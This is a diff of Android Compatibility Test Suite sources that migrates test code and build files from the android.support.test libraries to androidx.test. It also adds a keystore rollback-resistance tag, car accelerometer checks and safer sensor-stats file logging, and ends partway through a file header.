diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
index d796731..d619a96 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
@@ -25,10 +25,11 @@
import android.graphics.pdf.PdfDocument;
import android.graphics.pdf.PdfRenderer;
import android.os.ParcelFileDescriptor;
+
import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
index 42be3b6..aeabfbf 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -34,17 +34,16 @@
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Rect;
-import android.graphics.pdf.cts.R;
import android.graphics.pdf.PdfRenderer;
import android.graphics.pdf.PdfRenderer.Page;
-import android.os.ParcelFileDescriptor;
+import android.graphics.pdf.cts.R;
+
import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
index 0797923..0700d74 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
@@ -26,10 +26,11 @@
import android.graphics.Rect;
import android.graphics.pdf.PdfRenderer;
import android.graphics.pdf.PdfRenderer.Page;
+
import androidx.annotation.Nullable;
import androidx.annotation.RawRes;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index debb500..9d56850 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -26,8 +26,8 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/sample/AndroidManifest.xml b/tests/sample/AndroidManifest.xml
index fbc7a05..adeb050 100755
--- a/tests/sample/AndroidManifest.xml
+++ b/tests/sample/AndroidManifest.xml
@@ -32,7 +32,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS sample tests"
android:targetPackage="android.sample.cts" >
</instrumentation>
diff --git a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java b/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
index c8863b3..3aa0cb0 100755
--- a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
+++ b/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
@@ -15,19 +15,15 @@
*/
package android.sample.cts;
+import android.sample.SampleDeviceActivity;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
-import org.junit.runner.RunWith;
-import org.junit.After;
-import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
-
-import android.app.Activity;
-import android.sample.SampleDeviceActivity;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.ActivityInstrumentationTestCase2;
+import org.junit.runner.RunWith;
/**
* A simple compatibility test which tests the SharedPreferences API.
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index e4c5eb6..e6849f3 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -185,6 +185,7 @@
private Date creationDateTime;
private Integer origin;
private boolean rollbackResistant;
+ private boolean rollbackResistance;
private RootOfTrust rootOfTrust;
private Integer osVersion;
private Integer osPatchLevel;
@@ -270,6 +271,9 @@
case KM_TAG_ROLLBACK_RESISTANT & KEYMASTER_TAG_TYPE_MASK:
rollbackResistant = true;
break;
+ case KM_TAG_ROLLBACK_RESISTANCE & KEYMASTER_TAG_TYPE_MASK:
+ rollbackResistance = true;
+ break;
case KM_TAG_AUTH_TIMEOUT & KEYMASTER_TAG_TYPE_MASK:
authTimeout = Asn1Utils.getIntegerFromAsn1(value);
break;
@@ -535,6 +539,10 @@
return rollbackResistant;
}
+ public boolean isRollbackResistance() {
+ return rollbackResistance;
+ }
+
public RootOfTrust getRootOfTrust() {
return rootOfTrust;
}
@@ -675,6 +683,10 @@
s.append("\nRollback resistant: true");
}
+ if (rollbackResistance) {
+ s.append("\nRollback resistance: true");
+ }
+
if (rootOfTrust != null) {
s.append("\nRoot of Trust:\n");
s.append(rootOfTrust);
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index e636af8..4ceea0f 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
@@ -79,8 +79,8 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
cts-sensors-tests \
LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
diff --git a/tests/sensor/AndroidManifest.xml b/tests/sensor/AndroidManifest.xml
index 0c33e0d..48afe9c 100644
--- a/tests/sensor/AndroidManifest.xml
+++ b/tests/sensor/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.hardware.sensor.cts"
android:label="CTS sensor tests">
<meta-data android:name="listener"
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
index 7137323..6b70e9c 100644
--- a/tests/sensor/AndroidTest.xml
+++ b/tests/sensor/AndroidTest.xml
@@ -17,6 +17,10 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="location" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <!-- Switch to run test in user 0 -->
+ <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+ <option name="user-type" value="system" />
+ </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSensorTestCases.apk" />
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 1751a8b..f13dd38 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -16,11 +16,6 @@
package android.hardware.cts;
-import android.hardware.cts.helpers.sensorverification.ContinuousEventSanitizedVerification;
-import android.support.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.SystemUtil;
-import junit.framework.Assert;
-
import android.content.Context;
import android.content.pm.PackageManager;
import android.hardware.Sensor;
@@ -38,6 +33,7 @@
import android.hardware.cts.helpers.TestSensorManager;
import android.hardware.cts.helpers.sensoroperations.ParallelSensorOperation;
import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.hardware.cts.helpers.sensorverification.ContinuousEventSanitizedVerification;
import android.hardware.cts.helpers.sensorverification.EventGapVerification;
import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
@@ -48,6 +44,12 @@
import android.platform.test.annotations.Presubmit;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import junit.framework.Assert;
+
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index bbe2006..1edf617 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -16,6 +16,7 @@
package android.hardware.cts.helpers;
import android.hardware.Sensor;
+import android.os.Environment;
import android.util.Log;
import java.io.File;
import java.io.IOException;
@@ -255,7 +256,7 @@
* @return A {@link File} representing a root directory to store sensor tests data.
*/
public static File getSensorTestDataDirectory() throws IOException {
- File dataDirectory = new File(System.getenv("EXTERNAL_STORAGE"), "sensorTests/");
+ File dataDirectory = new File(Environment.getExternalStorageDirectory(), "sensorTests/");
return createDirectoryStructure(dataDirectory);
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 1ccf524..b08b59f 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -18,6 +18,7 @@
import android.hardware.Sensor;
import android.hardware.cts.helpers.sensoroperations.SensorOperation;
+import android.os.Environment;
import android.util.Log;
import java.io.BufferedWriter;
@@ -38,6 +39,7 @@
* together so that they form a tree.
*/
public class SensorStats {
+ private static final String TAG = "SensorStats";
public static final String DELIMITER = "__";
public static final String ERROR = "error";
@@ -144,19 +146,35 @@
}
}
+ /* Checks if external storage is available for read and write */
+ private boolean isExternalStorageWritable() {
+ String state = Environment.getExternalStorageState();
+ return Environment.MEDIA_MOUNTED.equals(state);
+ }
+
/**
* Utility method to log the stats to a file. Will overwrite the file if it already exists.
*/
- public void logToFile(String fileName) throws IOException {
- File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
- File logFile = new File(statsDirectory, fileName);
- final Map<String, Object> flattened = flatten();
- FileWriter fileWriter = new FileWriter(logFile, false /* append */);
- try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
- for (String key : getSortedKeys(flattened)) {
- Object value = flattened.get(key);
- writer.write(String.format("%s: %s\n", key, getValueString(value)));
+ public void logToFile(String fileName) {
+ if (!isExternalStorageWritable()) {
+ Log.w(TAG,
+ "External storage unavailable, skipping log to file: " + fileName);
+ return;
+ }
+
+ try {
+ File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+ File logFile = new File(statsDirectory, fileName);
+ final Map<String, Object> flattened = flatten();
+ FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+ try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+ for (String key : getSortedKeys(flattened)) {
+ Object value = flattened.get(key);
+ writer.write(String.format("%s: %s\n", key, getValueString(value)));
+ }
}
+ } catch(IOException e) {
+ Log.w(TAG, "Unable to write to file: " + fileName, e);
}
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 17882d7..7a48ba8 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -23,6 +23,7 @@
import android.hardware.cts.helpers.SensorCtsHelper;
import android.hardware.cts.helpers.SensorStats;
import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.content.pm.PackageManager;
import java.util.HashMap;
import java.util.Map;
@@ -65,13 +66,23 @@
* @return the verification or null if the verification does not apply to the sensor.
*/
public static MeanVerification getDefault(TestSensorEnvironment environment) {
+
+ Map<Integer, ExpectedValuesAndThresholds> currentDefaults =
+ new HashMap<Integer, ExpectedValuesAndThresholds>(DEFAULTS);
+
+ // For automotive flag, add car default tests.
+ if(environment.getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE)) {
+ addCarDefaultTests(currentDefaults);
+ }
+
int sensorType = environment.getSensor().getType();
- if (!DEFAULTS.containsKey(sensorType)) {
+ if (!currentDefaults.containsKey(sensorType)) {
return null;
}
- float[] expected = DEFAULTS.get(sensorType).mExpectedValues;
- float[] upperThresholds = DEFAULTS.get(sensorType).mUpperThresholds;
- float[] lowerThresholds = DEFAULTS.get(sensorType).mLowerThresholds;
+ float[] expected = currentDefaults.get(sensorType).mExpectedValues;
+ float[] upperThresholds = currentDefaults.get(sensorType).mUpperThresholds;
+ float[] lowerThresholds = currentDefaults.get(sensorType).mLowerThresholds;
return new MeanVerification(expected, upperThresholds, lowerThresholds);
}
@@ -186,6 +197,20 @@
Float.MAX_VALUE}));
}
+ @SuppressWarnings("deprecation")
+ private static void addCarDefaultTests(Map<Integer, ExpectedValuesAndThresholds> defaults) {
+ // Sensors that are being tested for mean verification for the car.
+ // Accelerometer axes should be aligned to car axes: X right, Y forward, Z up.
+ // Refer for car axes: https://source.android.com/devices/sensors/sensor-types
+ // Verifying Z axis is Gravity, X and Y is zero as car is expected to be stationary.
+ // Tolerance set to 1.95 as used in CTS Verifier tests.
+ defaults.put(Sensor.TYPE_ACCELEROMETER,
+ new ExpectedValuesAndThresholds(
+ new float[]{0.0f, 0.0f, SensorManager.STANDARD_GRAVITY},
+ new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */,
+ new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */));
+ }
+
private static final class ExpectedValuesAndThresholds {
private float[] mExpectedValues;
private float[] mUpperThresholds;
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
index 53f1e56..680e422 100644
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ b/tests/signature/api-check/system-annotation/Android.mk
@@ -18,7 +18,7 @@
LOCAL_PACKAGE_NAME := CtsSystemApiAnnotationTestCases
LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
LOCAL_SIGNATURE_API_FILES := \
system-current.api \
system-removed.api \
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
index c251c3f..33c1523 100644
--- a/tests/signature/intent-check/Android.mk
+++ b/tests/signature/intent-check/Android.mk
@@ -28,8 +28,8 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test \
+ compatibility-device-util-axt \
+ androidx.test.rules \
cts-signature-common \
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidManifest.xml b/tests/signature/intent-check/AndroidManifest.xml
index a444350..9e40ca8 100644
--- a/tests/signature/intent-check/AndroidManifest.xml
+++ b/tests/signature/intent-check/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.signature.cts.intent"
android:label="Intent Signature Test"/>
diff --git a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
index 477c781..af5c4b9 100644
--- a/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
+++ b/tests/signature/intent-check/src/android/signature/cts/intent/IntentTest.java
@@ -22,12 +22,12 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.signature.cts.ApiDocumentParser;
-import android.signature.cts.JDiffClassDescription;
import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import org.junit.Assert;
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index 618a9bc..e6713d4 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -21,7 +21,7 @@
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JNI_SHARED_LIBRARIES := libctscpu_jni
diff --git a/tests/simplecpu/AndroidManifest.xml b/tests/simplecpu/AndroidManifest.xml
index 4b5febf..22b7dfa 100644
--- a/tests/simplecpu/AndroidManifest.xml
+++ b/tests/simplecpu/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application>
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.simplecpu.cts"
android:label="CTS tests for simple CPU" />
</manifest>
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
index e15d259..0c94019 100644
--- a/tests/systemAppTest/test/Android.mk
+++ b/tests/systemAppTest/test/Android.mk
@@ -24,7 +24,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index d816707..c559252 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsAccountTestsCommon ctstestrunner platform-test-annotations
+ CtsAccountTestsCommon ctstestrunner-axt platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index ec3d42d..a31b77a 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -63,7 +63,7 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.accounts.cts"
android:label="CTS tests for android.accounts">
<meta-data android:name="listener"
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 9428279..03479db 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
CtsAccountTestsCommon
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
index 1b4f873..88fe785 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AbstractAuthenticatorTests.java
@@ -44,7 +44,7 @@
* adb shell am instrument
* -e debug false -w
* -e class android.accounts.cts.AbstractAuthenticatorTests
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
*/
public class AbstractAuthenticatorTests extends AndroidTestCase {
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 4db2fd6..47bda38 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -28,11 +28,9 @@
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
-import android.os.Binder;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
-import android.os.IBinder;
import android.os.Looper;
import android.os.StrictMode;
import android.platform.test.annotations.AppModeFull;
@@ -55,7 +53,7 @@
* adb shell am instrument
* -e debug false -w
* -e class android.accounts.cts.AccountManagerTest
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
*/
public class AccountManagerTest extends ActivityInstrumentationTestCase2<AccountDummyActivity> {
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
index ebd6a13..a11de75 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerUnaffiliatedAuthenticatorTests.java
@@ -46,7 +46,7 @@
* adb shell am instrument
* -e debug false -w
* -e class android.accounts.cts.AccountManagerUnaffiliatedAuthenticatorTests
- * android.accounts.cts/android.support.test.runner.AndroidJUnitRunner
+ * android.accounts.cts/androidx.test.runner.AndroidJUnitRunner
*/
public class AccountManagerUnaffiliatedAuthenticatorTests extends AndroidTestCase {
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 5d5c4e4..feb5792 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/alarmclock/AndroidManifest.xml b/tests/tests/alarmclock/AndroidManifest.xml
index c0193dd..15b47c4 100644
--- a/tests/tests/alarmclock/AndroidManifest.xml
+++ b/tests/tests/alarmclock/AndroidManifest.xml
@@ -37,7 +37,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.alarmclock.cts"
android:label="CTS tests of android.alarmclock">
<meta-data android:name="listener"
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 3873ddb..f64cfe4 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 293f75f..b5eb791 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -25,11 +25,11 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES += \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
android-common \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/animation/AndroidManifest.xml b/tests/tests/animation/AndroidManifest.xml
index 776ce13..6e8704e 100644
--- a/tests/tests/animation/AndroidManifest.xml
+++ b/tests/tests/animation/AndroidManifest.xml
@@ -28,7 +28,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.animation.cts"
android:label="CTS tests for android.animation package">
<meta-data android:name="listener"
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
index cb87f29..fb1d07a 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
@@ -16,8 +16,9 @@
package android.animation.cts;
import android.animation.AnimatorListenerAdapter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 8a5e974..6888a30 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -35,15 +35,16 @@
import android.animation.TimeInterpolator;
import android.animation.ValueAnimator;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.animation.AccelerateDecelerateInterpolator;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.LinearInterpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
index 655eb1c..b38c434 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorTest.java
@@ -27,13 +27,14 @@
import android.animation.ValueAnimator;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.AccelerateInterpolator;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/animation/src/android/animation/cts/CreationTest.java b/tests/tests/animation/src/android/animation/cts/CreationTest.java
index 5bdd2a6..922aa40 100644
--- a/tests/tests/animation/src/android/animation/cts/CreationTest.java
+++ b/tests/tests/animation/src/android/animation/cts/CreationTest.java
@@ -21,11 +21,12 @@
import android.animation.AnimatorInflater;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
index 0e9a462..8bec5f8 100644
--- a/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/EvaluatorTest.java
@@ -29,8 +29,9 @@
import android.graphics.Color;
import android.graphics.PointF;
import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java b/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
index bcb9bec..a7dc824 100644
--- a/tests/tests/animation/src/android/animation/cts/InterpolatorTest.java
